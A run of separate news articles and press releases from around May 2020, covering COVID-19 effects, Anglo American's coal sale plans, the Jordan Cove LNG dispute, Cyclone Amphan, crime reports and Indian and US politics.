"At Inspired, we set new standards in education, but more than that, our philosophy is to prepare children for life. We have to lead the way and practice what we teach, by preparing and dealing with whatever life presents us. We're very proud of the way our outstanding teachers implemented synchronous virtual learning within hours of closure at every Inspired school around the world. Now they have been joined by our admissions teams across the globe in supporting parents and families to continue their educational journey", said Nadim M Nsouli, Inspired Founder, Chairman & CEO.

About Inspired

Founded by Nadim M Nsouli, Inspired is a leading global premium schools group operating in Europe, Asia-Pacific, Africa, the Middle East and Latin America educating over 48,000 students across a global network of more than 64 schools.

A definitive statement of excellence in private education, Inspired is a co-educational, non-denominational, independent school group designed to inspire students to achieve their maximum potential in a nurturing, progressive academic environment from ages 1 to 18.

Inspired offers a fresh and contemporary approach to education by re-evaluating traditional teaching methods and curriculums, and creating a more dynamic, relevant and powerful model reflecting current attitudes. We nurture the unique individuality, talent and self-assurance of each student, equipping them to take on the world with the skills and confidence to ensure success.

For more information, please contact:

Shani Gerszenzon

Press and Communications

T: +34 913 459 946

M: +34 687123785

[email protected]

www.inspirededu.com

SOURCE Inspired Group

Related Links

https://inspirededu.com/


By Clara Denina and Zandi Shabalala

LONDON, May 22 (Reuters) - Anglo American is still exploring a sale of its thermal coal assets in South Africa as an alternative to spinning off and listing the business, three sources familiar with the matter told Reuters.

Mining companies are under pressure to stop mining coal, the most polluting fossil fuel, from investors and governments keen to switch to cleaner fuels.

London-listed Anglo said earlier this month that it would spin off its last remaining coal assets in South Africa and list them in Johannesburg. Sources say an outright sale of Anglo American's coal mines was still on the cards.

When asked for comment, Anglo referred Reuters to a response to shareholders in May saying the company would continue to consider other exit options.

Chief Executive Mark Cutifani told Reuters in February that the company had already received interest from potential buyers both inside and outside of South Africa. "Launching a sale process is designed to help Anglo generate some positive tension over the pricing of listing," one of the sources said.

"They will do it as a dual track process, knowing that only a domestic or emerging market buyer would come forward," the source added.

Despite a global shift against the use of polluting fossil fuels, coal is still widely used in emerging markets including China, India, Indonesia and Vietnam among others.

A second source said the sales process is expected to attract local bidders but that Exxaro Resources ,

already a partner on one of the mines, would be the only one with enough firepower to purchase the assets without a partner.

Anglo's assets would be also marketed to companies including state-backed Coal India , Russia's Suek and China Coal , a third source said.

The remaining portfolio includes a handful of mines, including a joint venture with Exxaro, which churned out around 18 million tonnes of thermal coal last year, mostly for export.

A source familiar with the matter said Anglo was handling the coal spin-off internally for now.



(Additional reporting by Tanisha Heiberg in Johannesburg Editing by Susan Fenton)
KOCHI: After days of uncertainty, the 58-member Malayalam film crew, including actor Prithviraj and director Blessy, who were stranded in Jordan during the shooting of a movie returned to Kochi on Friday.

The crew landed in New Delhi from where they flown to Kochi in a special Air India flight. All the crew members have been sent to quarantine after completing mandatory health screening at the airport. It is learnt that Prithviraj moved to a hotel in Kochi where he will remain in isolation.

The film crew of movie Aadu jeevitham (goat days) left for Jordan in March. The shooting began on March 16 but had to be abruptly stopped following curfew imposed due to Covid-19 restrictions.

Though the crew members and various film organisations sought the support of Union minister of state for external affairs V Muraleedharan and Indian embassy authorities to return to Kerala, their travel could not be facilitated due to suspension of flight service during national lockdown.

Later, shooting was resumed with the special permission of Jordanian government and completed in May. Now, after completing the shoot schedule in a desert in Jordan the team has been brought back in special flight.

Prithviraj in an earlier social media post said that the crew was staying in an isolated shelter in Wadi Rum desert and a doctor in the team was carrying out regular medical-checkups for all members regularly. A Jordan government-appointed doctor also was doing periodic check up, he said in social media post.

The film based on the Malayalam author Benyamins book by the same name is being directed by noted director Blessy.
Technavio has been monitoring the mining ventilation systems market and it is poised to grow by USD 81.73 million during 2020-2024, progressing at a CAGR of over 4% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200521005644/en/

Technavio has announced its latest market research report titled Global Mining Ventilation Systems Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. ABB Ltd., ABC Canada Technology Group Ltd., ABC Industries Inc., Epiroc AB, Howden Group Ltd., New York Blower Co., Sibenergomash-BKZ LLC, Stantec Inc., TLT-Turbo GmbH, and Zitron SA are some of the major market participants. The increasing demand for precious metals will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Increasing demand for precious metals has been instrumental in driving the growth of the market.

Mining Ventilation Systems Market 2020-2024: Segmentation

Mining Ventilation Systems Market is segmented as below:

Product Hardware Software Services

Geography APAC North America South America MEA. And Europe



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Mining Ventilation Systems Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our mining ventilation systems market report covers the following areas:

Mining Ventilation Systems Market Size

Mining Ventilation Systems Market Trends

Mining Ventilation Systems Market Industry Analysis

This study identifies technological advances as one of the prime reasons driving the mining ventilation systems market growth during the next few years.

Mining Ventilation Systems Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the mining ventilation systems market, including some of the vendors such as ABB Ltd., ABC Canada Technology Group Ltd., ABC Industries Inc., Epiroc AB, Howden Group Ltd., New York Blower Co., Sibenergomash-BKZ LLC, Stantec Inc., TLT-Turbo GmbH, and Zitron SA. Backed with competitive intelligence and benchmarking, our research reports on the mining ventilation systems market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Mining Ventilation Systems Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist mining ventilation systems market growth during the next five years

Estimation of the mining ventilation systems market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the mining ventilation systems market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of mining ventilation systems market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 2024

Five Forces Analysis

Five Forces Summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Comparison by Product

Hardware Market size and forecast 2019-2024

Software Market size and forecast 2019-2024

Services Market size and forecast 2019-2024

Market opportunity by Product

Customer landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

APAC Market size and forecast 2019-2024

North America Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Overview

Vendor landscape

Landscape disruption

Industry risks

Vendor Analysis

Vendors covered

Market positioning of vendors

ABB Ltd.

ABC Canada Technology Group Ltd.

ABC Industries Inc.

Epiroc AB

Howden Group Ltd.

New York Blower Co.

Sibenergomash-BKZ LLC

Stantec Inc.

TLT-Turbo GmbH

Zitron SA

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Federal regulators on Thursday denied requests from the state of Oregon, affected landowners, tribal, environmental and fisheries groups to reconsider its March approval of the proposed Jordan Cove liquefied natural gas export terminal in Coos Bay and its 230-mile feeder pipeline.

The state had objected to the Federal Energy Regulatory Commissions original decision to conditionally approve the project before it received required state permits. Those include its water quality certification, dredging permit and a determination that the project is in line with state land use laws  none of which appear to be forthcoming.

After the March decision, Gov. Kate Brown issued her first challenge to the project in her five years in office. She said she was stunned that the commission was issuing a decision during the ongoing COVID-19 crisis, and she was ready to challenge it legally.

I want to reiterate that I will not stand for any attempt to ignore Oregons authority to protect public safety, health, and the environment she said at the time. I have asked the states lawyers to consider all appropriate legal action to assure that Oregon permitting processes will be followed.

She also said that until the project received every required permit from state and local agencies, she would prevent the company from taking early action on condemning private property or clearing land.

In a news conference after FERCs meeting Thursday, Chair Neil Chatterjee reiterated a statement he made after the March approval.

I want to be clear that a project cannot begin construction until all required permits have been received, he said. Ill say that again, the project cannot begin construction until all required permits have been received.

Chatterjee also said the projects backer, Pembina Pipeline Corp., had eminent domain authority today to condemn private property for its pipeline, called the Pacific Connector. But he said no construction on the pipeline or LNG facility, including land clearing, can take place until the company has received all necessary permits.

That leaves Pembina in a standoff with Oregon, but with a longshot strategy to end-run state regulators.

Oregons Department of Environmental Quality has already denied the projects water quality certification. The Department of Land Conservation and Development, meanwhile, has decided the project would have significant adverse impacts on the states scenic and aesthetic resources, endangered species, critical habitat, fisheries and commercial shipping. It ruled in February that the project wasnt consistent with the states coastal zone land use laws.

Meanwhile Pembina withdrew its application for a dredging permit when the Department of State Lands indicated that it was about to reject that application, too. Pembina also needs the department to grant easements to use state land and waterways to build the gas liquefaction terminal, shipping berth and pipeline. Those are unlikely to be granted given the agencys stance on the dredging permit. And Pembina cant use the eminent domain authority that comes with its FERC approval against the state, only private property owners.

Debate over the controversial project has been intense in Oregon since it was first proposed as a gas import facility in 2005. Boosters tout the $10 billion projects potential employment and property tax impacts in an area of the state that has lagged economically since the early 1980s. Opponents call it a potential environmental, public safety and property rights disaster.

Pembina hasnt packed up its tent altogether. But it did recently close its office in Coos Bay, and for the time being, is pursuing a strategy that seems sure to prompt a legal response from Oregon. It has asked the U.S. Department of Commerce to overrule Oregons decision that the project isnt consistent with state land use laws. And it has asked FERC to waive a requirement under the Natural Gas Act that it obtain a water quality certification from the state, arguing that the state failed to make a timely decision on that permit.

The company did not return a call for comment Thursday.

Browns threat to sue is not an empty one. In 2009, the state appealed FERCs approval of the proposed Bradwood Landing gas import terminal on the Columbia River to the U.S. Court of Appeals. And in 2010, it appealed FERCs decision to approve Jordan Cove as a gas import terminal. Both suits were based on the fact that FERC issued its permit before the state had approved necessary permits, and in the face of significant adverse environmental impacts identified by state agencies.

Bradwood Landings backers eventually abandoned the project in the face of stiff state opposition. And Jordan Cove, which Pembina acquired in a 2017 merger, withdrew its application to build a gas import terminal due to the fracking boom in the United States, and subsequently resubmitted an application to build a gas export facility.

Aside from its permitting problems, Pembina announced a major layoff in late April amid a severe downturn in oil and gas markets. Moreover, current prices for liquefied natural gas landing in Asia are too low to make the project economically viable, and the company has been unable to demonstrate any demand for the project with binding commitments from potential customers.

The public need and demand for the project is supposed to be a primary consideration in FERCs licensing decision. But the commission decided that the deal Pembinas Pacific Connector Pipeline company struck with the Jordan Cove Energy Project, also owned by Pembina, to buy all the LNG terminals capacity  essentially a round trip deal with itself  was sufficient to demonstrate need for the project.

FERCs decision denying a rehearing wasnt unanimous. Commissioner Richard Glick, the sole Democrat on the ostensibly non-partisan commission, raised climate and private property concerns, and questioned whether the project would ever be built.

Glick sent out a tweet to that effect Thursday morning.

On #JordanCove #LNG: @FERCs shoot 1st & ask questions later attitude is problematic, he wrote. Losing your land to Govt condemnation is never easy  but imagine if you were told you must leave to clear the way for a project that most likely will never be built.

-- Ted Sickinger; tsickinger@oregonian.com; 503-2218505; @tedsickinger

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The coronavirus death toll in Delhi has mounted to 208, while 660 fresh cases of COVID-19 were reported on Friday, the biggest single-day spike here, authorities said.

The total number of cases in the city now stands at 12,319, they said.

The previous highest spike in fresh cases -- 571 -- was recorded on May 21.

This is the first time in Delhi that over 600 COVID-19 cases have been reported in a day.

Thursday was the third consecutive day that saw 500 or more fresh cases being recorded in the national capital.

In a bulletin issued on Friday, the Delhi Health Department said the death toll from coronavirus infection has risen to 208 and the total number of cases mounted to 12,319.

As many as 5,897 patients have recovered, been discharged or migrated so far, while there are 6,214 active cases, the department said.

It, however, added that the cumulative death figure refers to fatalities where the primary cause of death was found to be COVID-19, as per the report of the Death Audit Committee on the basis of case sheets received from various hospitals.

On Thursday, the total number of cases stood at 11,659, including 194 deaths.

Facing criticism for "under reporting" COVID-19 deaths, the Delhi government recently had issued a standard operating procedure (SOP) for hospitals and other health facilities in the city on reporting fatalities due to coronavirus.

Country-wise, Delhi has highest number of cases after Maharashtra, Tamil Nadu and Gujarat.

At a press briefing on the COVID-19 situation, V K Paul, Member of the Niti Aayog, said the COVID-19 outbreak in India has remained confined to limited areas, with 80 per cent of the active cases in just five states.

He said around 80 per cent of the COVID-19 deaths have been in Maharashtra, Gujarat, Madhya Pradesh, West Bengal and Delhi.

A doctor at a New Delhi Municipal Council (NDMC) dispensary tested positive for COVID-19 on Friday, following which the premises of the health facility were sealed, officials said.

"A senior doctor at the NDMC HQ - Palika Kendra Dispensary took a COVID-19 test and was found positive today. She lives in the NDMC area and has been put under home quarantine with family members," a senior NDMC official said.

A total of 1,60,255 COVID-19 tests have been conducted till date, the bulletin stated.

The total number of COVID-19 positive patients under home-isolation stands at 2,881, it said.

According to the Delhi Health Department bulletin, out of the total 12,319 cases recorded so far, at least 1,835 are admitted to various hospitals like LNJP Hospital, RML Hospital, Safdarjung Hospital, Rajiv Gandhi Super Speciality Hospital (RGSSH) and AIIMS Jhajjhar. It said 169 patients are in ICU and 27 on ventilators.

The number of containment zones in Delhi has been increased to 79, from 64 on Thursday.

Six new COVID-19 containment zones were declared in Dwarka and Kapashera area of southwest Delhi, the district administration said.

The containment orders were issued on May 21 after around 39 cases of coronavirus were reported in parts of southwest Delhi, including Vikaspuri, Kanganheri village, Palam Colony and Sadh Nagar.

The announcement comes two days after the Health Department asked all district magistrates to create containment zones in their respective areas as per the existing guidelines.

The department's direction was prompted by a mismatch that showed while the number of coronavirus cases was on the rise in the city, containment zones were shrinking.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)




The Presidency has declared that President Muhammadu Buhari will be celebrating the 2020 Eid-el-Fitr marking the end of Ramadan at home.

Mallam Garba Shehu, the senior special assistant to the president on media and publicity made the disclosure in a statement on Friday.

He added that President Buhari will be conducting his Eid prayers with his family at home.

He noted that the Presidents action is in line with the lockdown measures in Abuja as well as the directive of the Sultan of Sokoto, Alhaji Saad Abubakar III suspending Eid congregational prayers across the country as well as the protocol against mass gathering issued by the PTF on COVID-19.

With the Eid-el-Fitr celebrations around the corner and the month-long Ramadan fast coming to an end, President Muhammadu Buhari will be conducting his Eid prayers with his family at home.

This is in observance of the lockdown measures in the Federal Capital Territory, Abuja, put in place to save lives and protect people from all dangers.

This is also in line with the directive of the Sultan of Sokoto & President General of the Jamaatu Nasril Islam (JNI), Alhaji Saad Abubakar III suspending Eid congregational prayers across the country as well as the protocol against mass gathering issued by the PTF on COVID-19.

With the #Eid-el-Fitr celebrations around the corner and the month-long Ramadan fast coming to an end, President Muhammadu Buhari will be conducting his Eid prayers with his family at home.  Garba Shehu (@GarShehu) May 22, 2020

Mallam Shehu added that President Buhari will not be receiving homages from anyone this year, contrary to his usual custom during the end of Ramadan festivities.

Further to this, the President who has traditionally shared the joyous moment with top government officials, political leaders, community heads, Muslim and Christian leaders and children, will not be receiving these homages in a bid to stop the coronavirus from further spreading, he said.

Meanwhile, the federal government of Nigeria led by President Muhammadu Buhari has declared Monday, May 25 and Tuesday, May 26 as public holidays to mark Eldi Fitri Celebration.

Naija News reports that the declaration was made on behalf of the Federal Government by the Minister of Interior, Ogbeni Rauf Aregbesola, in Abuja, Nigerias capital.

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Oftentimes, one could find Elwood Reid sitting in a room by himself.

The days of social distancing arent anything new for the acclaimed writer.

Always liking to diversify his writing time, Reid not only writes novels or short stories, but hes been at the helm of episodes for TV series such as Cold Case, Undercovers, Hawaii 5-0, The Bridge and The Chi.

His latest effort is the National Geographic series Barkskins, which begins airing at 7 p.m. Monday, May 25.

Theres so much TV out there, he says. As someone who wants to create, I want to watch a show that I havent seen before. When I write, I tend to look for worlds that arent on television. Taking on Barkskins was a challenge as a writer, because no one has written the world before.

The series is adapted from the 2016 novel by Annie Proulx.

The series examines the mysterious massacre of settlers in the vast and unforgiving wilds of 1690s New France that threatens to throw the region into all-out war.

Likely suspects abound  the English, the Hudsons Bay Co. and a band of Kanienkeha:ka (Iroquois) possibly in league with the English looking to drive the French from the territory  but who or what brought these settlers to such a tragic end?

It is set in Wobik, a small settlement in what is now the Canadian province of Quebec. As the Catholic Church sends Jesuit priests to convert the indigenous people, France sends indentured servants to populate its territory, along with Filles Du Roi (Daughters of the King), young women to be matched with husbands, start families and help the colonies prosper. This disparate group of outcasts, rogues and innocents must navigate brutal hardships, competing interests and tangled loyalties at the crossroads of civilization: 1690s New France.

This material didnt scream out for a TV adaptation, Reid says. But there was a chance to update the period drama. What makes shows like Peaky Blinders and Deadwood stand out is that what made them so vibrant was that they werent locked in amber. Its a different pace than were used to. This book had all of that.

Reid got to work and began to find that figuring out a language that would render the period well, yet not put people off.

Figuring out a way to make the characters weird and pop and make their drive recognizable meant putting them into a pot and start stirring, he says. The best (stuff) comes when you dont know what youre doing. It comes when youre scared. That made me want to do it.

As production began, Reid went up to the set where the villages were built.

It was at that point, seeing all the elements come together, that he knew there was success.

Putting the actors out there, it felt like you could live in those times, he says. Each actor has pulled the best out of themselves for their character. Its a world like youve never seen.

On TV

The eight-part limited series Barkskins will begin airing at 7 p.m. Monday, May 25, on National Geographic.
New Delhi, May 22 : Prime Minister Narendra Modi on Friday left for Kolkata to take stock of the devastation left behind by Super Cyclone Amphan in West Bengal and Odisha. The cyclone left scores of people dead and devastated various coastal cities and towns after it made landfall on Wednesday, lashing the area with ferocious wind and rain.

The Prime Minister will carry out aerial surveys and will also take part in review meetings in West Bengal. Later in the day, Modi will visit Odisha which was also bore the brunt of the cyclone.

On Thursday, the Prime Minister's Office tweeted: "Tomorrow, PM @narendramodi will travel to West Bengal and Odisha to take stock of the situation in the wake of Cyclone Amphan. He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed." Watching the visuals of devastation caused by Cyclone Amphan, Modi earlier wished that situation normalises in West Bengal and Odisha at the earliest. In a series of tweets, he said, "My thoughts are with the people of Odisha as the state bravely battles the effects of Cyclone Amphan. Authorities are working on the ground to ensure all possible assistance to the those affected. I pray that the situation normalises at the earliest." He also stated that the National Disaster Response Force teams were working in the cyclone-affected parts. Top officials are closely monitoring the situation and also working in close coordination with the West Bengal government.

"No stone will be left unturned in helping the affected," the Prime Minister had stated.

He also stated that he had been seeing visuals from West Bengal on the devastation caused by Cyclone Amphan. "In this challenging hour, the entire nation stands in solidarity with West Bengal. Praying for the well-being of the people of the state. Efforts are on to ensure normalcy," he stated.

On Thursday, West Bengal Chief Minister Mamata Banerjee said that she has never seen such a disaster before which has killed 72 people so far (as per the available data to the Chief Minister till Thursday).

Banerjee, announcing compensations of Rs 2.5 lakh each for the next of kin of the dead, urged Modi to visit the cyclone-affected areas.

Odisha Chief Minister Naveen Patnaik made an aerial survey of cyclone Amaphan-affected areas in the state on Thursday and expressed deep concern over extensive damages, especially to the standing crops.

He had ordered early repair of damaged infrastructure and restoration of normalcy in the affected districts. It is stated that over 44 lakh people in 89 blocks have been affected by the cyclone in the state.

-- The story has been published from a wire feed without any modifications to the text
Dating shows like Married At First Sight, Love Island and The Bachelor may be going to extreme measures to ensure the safety of their contestants in order to resume filming this year, in the wake of the COVID-19 epidemic.

This week, Variety revealed the extensive effort being made on the set of international and American installments of reality show Temptation Island - and a similar plan of defense could apply to Australian programs.

Variety reveals that the cast and crew of the Spanish version of Temptation Island will be tested for COVID-19, 'and quarantined for two weeks before production starts in the Dominican Republic.'

Soon? Dating shows like Married At First Sight, Love Island and The Bachelor may be adhering to strict measures to ensure the safety of their contestants in the wake of the COVID-19 epidemic, in order to resume filming this year. Pictured the cast of Love Island Australia

Testing will continue routinely throughout the show's production, disinfection of work spaces ramped up and a 'dedicated health supervisor' will be on set.

The German production of Temptation Island will go even further, with 'plexiglass walls in vehicles and control room, daily fever measurements twice a day as well as tests in case of suspected cases,' Variety reported.

The crew will use masks and gloves, work spaces will be disinfected and will 'work in clusters' to limit the risk of infection.

New measures: This week, Variety revealed the extensive effort being made on the set of international and American installments of reality show Temptation Island - and a similar plan of defense could apply to similar Australian programs. Pictured: Temptation Island USA

Careful: The German production of Temptation Island will use, 'plexiglass walls in vehicles and control room, daily fever measurements twice a day,' Variety reported. Contestants on the Spanish version will be 'quarantined for two weeks before production starts'

Similar measures could be employed on the set of Australian reality dating shows -which currently face an unclear future.

Filming of the eighth season of The Bachelor Australia starring Locklan 'Locky' Gilbert was suspended in late March.

In April, franchise's longtime host, Osher Gunsberg, shared the news all fans have been dreading: the show is unlikely to resume filming anytime soon.

Waiting: Production on Love Island Australia will likely not start until next year due to the coronavirus pandemic. Pictured: Contestants Jessie Wynter and Todd Elton

No love: 'The ongoing health crisis has meant Love Island Australia is unable to go into production this year,' Nine told TV Tonight. Pictured: Cartier Surjan and Adam Farrugia

He said on the Shameless podcast: 'We are on hiatus. I don't know what's going to happen... and I don't think they [the producers] do either.'

Despite taking 'extra precautions' during the coronavirus pandemic, Channel 10 and Warner Bros. decided to halt production with immediate effect.

The network came to the decision after considering all other available options, and said they planned to resume filming as soon as it was deemed safe.

On hold: Filming of the eighth season of The Bachelor Australia starring Locklan 'Locky' Gilbert (pictured) was suspended in late March

Waiting: Host Osher Gunsberg (pictured) said: 'We are on hiatus. I don't know what's going to happen... and I don't think they [the producers] do either'

Love Island Australia will be returning for a third season, but it's unclear when or on which network.

While the Channel Nine series suffered low ratings last year, its huge online presence has gained interest from the network's biggest rival.

Nine had been keeping the final verdict for the dating reality show 'up in the air' for months, but TV Tonight has reported Channel Seven wants to pull the rug out from under them and buy the rights to the popular dating series.

Bigger names? Meanwhile, Married At First Sight producers are said to be looking at casting celebrities and former contestants in a bid to boost ratings next year. Pictured: Contestants Stacey Hampton and Michael Goonan

Big names: The network was said to be considering a 're-brand' for 2021 inspired by Australian Survivor's latest season, tentatively calling the new series MAFS: All-Stars. Pictured: Contestants Amanda Micallef and Tash Herz

The publication reported earlier this month that Seven wants to swoop in and snatch up rights to Love Island Australia, as well as the UK version of the series.

However, production would likely not start until next year due to the coronavirus pandemic.

'The ongoing health crisis has meant Love Island Australia is unable to go into production this year,' Nine told TV Tonight.

The spokesperson added: 'We continue to work through where, when and how the next season of the show can be filmed in 2021. We will make further announcements when those plans are confirmed.'

Maybe? One of the show's relationship experts, Mel Schilling (pictured) thinks it could be a fun experiment but doesn't believe there is any truth to the rumours that celebrities will take part

Coming soon: Casting for Married At First Sight's eighth season is under way in Sydney, but it's believed production has been postponed due to the coronavirus pandemic. Pictured: Contestants Hayley Vernon and David Cannon

Meanwhile, Married At First Sight producers are said to be looking at casting celebrities and former contestants in a bid to boost ratings next year.

One of the show's relationship experts, Mel Schilling, thinks it could be a fun experiment but doesn't believe there is any truth to the rumours.

She told Daily Mail Australia: 'I've heard nothing on that part from what I've read in the press. So I suspect it's a rumour. I don't know if there's any truth to that at all.'

It comes after NW magazine reported that producers were looking at bringing back past participants, including the likes of Nasser Sultan and Tracey Jewel.

Waiting: MAFS is typically filmed between late August and December, but the 2021 season will most likely begin filming in December and conclude in March. Pictured: Contestants Aleks Markovic and Ivan Sarakula

The network was said to be considering a 're-brand' for 2021 inspired by Australian Survivor's latest season, tentatively calling the new series MAFS: All-Stars.

Casting for Married At First Sight's eighth season is under way in Sydney, but it's believed production has been postponed due to the coronavirus pandemic.

MAFS is typically filmed between late August and December, but the 2021 season will most likely begin filming in December and conclude in March.

The 2020 season of Bachelor in Paradise is the only show in the dating franchise that was filmed before the pandemic.

It had been scheduled to air earlier this year, but was postponed so that Channel 10 could prioritise its news coverage in the evenings.

It's likely to return after MasterChef, but no premiere date has been announced.
ALBANY  The city police department beefed up staffing to a unit charged with dealing with violent crimes earlier this year to deal with an unexpected rash of shootings in the city.

Police Chief Eric Hawkins told the Common Councils public safety committee Wednesday evening that shootings have more than doubled compared to this point last year.

Hawkins explained that in the first two months of the year, the department saw a number of shootings during the months when violent crimes are typically lower.

A lot of our veteran detectives were caught off guard by this, he told council members.

And as the department pulled back from some of its usual policing activities during the novel coronavirus pandemic, those shootings continued. Hawkins said that the department resumed a more proactive approach after getting enough personal protective equipment for officers and laying out new changes to how officers are supposed to operate.

So far there have been 17 shootings in the city, with 19 people shot, compared to seven at this point in 2019, according to department statistics. The number of calls for shots fired during that same time frame is 69, compared to 24 last year.

Additionally, officers have recovered 38 guns during the first five months of the year, compared to 28 last year.

The majority of the shootings were mostly connected to smaller personal feuds, rather than Albany-based gangs fighting with groups in Troy and Schenectady, Hawkins said, adding that many of them were about perceived disrespect on social media.

In one shooting, at the intersection of Grand and Madison, a man saw the people who he believed had recently broken in to his house and opened fire, Hawkins said.

Jhacere Walters, 18, of Albany, was found with a spent shell casing, as well as crack cocaine after police responded to the scene. Walters was charged with criminal possession of a weapon counts and drug possession,

Councilman Kelly Kimbrough, chair of the public safety committee, said the recent jump in violence was alarming.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

It was a relief that the department had an understanding of the dynamics behind it and they could intervene, he said Thursday.

Albany isnt unique in seeing a spike in shootings, department spokesman Steve Smith said.

That a trend across the nation, its not just specific to this city, he said.

Since more patrol officers were added to a unit designated with addressing hot spots, the department has made several arrests and gotten some of those they believe responsible for the violence off the street, Hawkins said. More arrests are expected.

Were sending a message, the police are back, he said.
CHEBOYGAN COUNTY, MI  Police are investigating a possible murder-suicide in Northern Michigan.

Troopers from the Michigan State Police Gaylord Post were called to a home on Otsego Road in Cheboygan Countys Wilmot Township around 11:30 a.m. on Thursday after a 79-year-old male called 911 and stated he had murdered his wife and was going to kill himself.

Troopers arrived on the scene and were unable to contact anyone inside the residence after multiple attempts. When troopers made entry, they found two deceased individuals inside.

The male and 76-year-old female were pronounced dead at the scene. No motive has been established, but the man was the caregiver of his wife who was allegedly suffering from dementia, police said.

Troopers were assisted at the scene by deputies from the Cheboygan County Sheriffs Office and conservation officers from the Michigan Department of Natural Resources.
Despite that and a series of other controversies throughout the primary, Mr. Biden was the overwhelming favorite of older black voters, who played the central role in reviving his candidacy after bruising early losses. Now, though, as he competes against Mr. Trump and his unified Republican base, Mr. Biden is also seeking to win over and energize younger, more progressive black voters who were skeptical of him in the primary.

The Trump campaign has seized on Mr. Bidens earlier remarks. On a call with reporters Friday, a top adviser, Katrina Pierson, and Senator Tim Scott of South Carolina, the only black Republican in the Senate, rapped Mr. Biden for the comment.

Joe Biden has a history of saying dehumanizing things when it comes to black Americans, Ms. Pierson added.

Mr. Scott accused Mr. Biden of negative race-baiting.

But Ms. Pierson grew defensive in response to questions about Mr. Trumps own history of racist remarks, a record Mr. Biden highlighted on the Friday afternoon call.

She pointed to Mr. Trumps efforts on issues like criminal justice reform, and said that compares favorably to the crime bill of the early 1990s that Mr. Biden supported.

I know the president and I know his heart and I know his intent, she said, accusing the news media of taking Mr. Trump out of context.

Mr. Scott released a statement on Twitter before the call with reporters, reminding Mr. Biden that 1.3 million black Americans already voted for Trump in 2016.
The ruling Shiv Sena, NCP and



Congress in Maharashtra on Friday hit out at the opposition BJP for stooping to a "new low" and making the state a "political stage" by organising a protest against the Uddhav Thackeray-led government amid the coronavirus crisis.

BJP leader Devendra Fadnavis on Friday led the opposition party's state-wide protest against the "failure" of the Shiv Sena-headed Maha Vikas Aghadi (MVA) government to curb the coronavirus spread in Maharashtra.

Fadnavis along with party colleague Vinod Tawde and Mumbai BJP chief Mangal Prabhat Lodha held protest at the state party office in Nariman point, holding placards and sporting black face mask and black ribbon.

The BJP had given a call for "Maharashtra Bachao" agitation asking the party workers to protest against the government outside their homes by adhering to social distancing norms amid the coronavirus-enforced lockdown.

The ruling allies of the Maharashtra Vikas Aghadi (MVA) government, however, accused the BJP of indulging in during a health emergency like coronavirus.

Shiv Sena leader and state Tourism Minister Aaditya Thackeray, without naming the BJP tweeted, "One political party state unit has set a new low and a new world record- the only party in the world to indulge in and in spreading fear, hate and division when the world has forgotten all of it to help each othr. This party has forgotten the pandemic."



He also tweeted a photo of children holding BJP flags.

"Absolutely shameful, what lust for power can make leaders do. Making kids stand in the heat, with their masks lowered, not covering the face for a political protest when we need to keep them safe and indoors. Corona ko bhul gaye, politics pyaara hai," he said.

State Congress president Balasaheb Thorat, who is the Revenue Minister in the MVA government, alleged that the BJP was more interested in creating problems for the Maharashtra government than giving solutions.

"The fact is that Devendra Fadnavis is not committed towards the state. His commitment lies with the BJP leaders in Delhi. Why make Maharashtra a political stage when it is going through such a crisis? We should be working unitedly. Is this time to do politics? The stand of the state BJP will go down in history as the black day," he said.

PWD Minister Ashok Chavan said that just like the Congress is offering constructive suggestions at the national level for fighting the pandemic, the state BJP leadership could have done the same.

"It is unfortunate that the state BJP leaders are indulging in politics," he said.

State Congress spokesman Sachin Sawant wondered how the BJP can think of politics at the time of a crisis when doctors, nurses, police and the administration are fighting an enemy called coronavirus.

The ruling NCP asked the opposition party whether it is insulting COVID-19 warriors and committing "treason" with Maharashtra.

NCP leaders used the hashtag MaharashtradrohiBJP (Maharashtra treacherous BJP) to hit out at the opposition party, which has been critical of the Shiv Sena-led government over its handling of the coronavirus crisis in the state, which has so far recorded 41,642 cases.

"Think once before holding black (placards) in hand, whether you are insulting doctors, policemen and health workers who are working round the clock for Maharashtra! Whether you are committing treason with Maharashtra?" state minister Jayant Patil, who is also the state unit chief of the NCP, tweeted.

Maharashtra Housing Minister and NCP leader Jitendra Awhad, too, attacked the BJP for playing "dirty politics" when the ruling Maha Vikas Aghadi (MVA) is battling COVID-19 with full vigour.

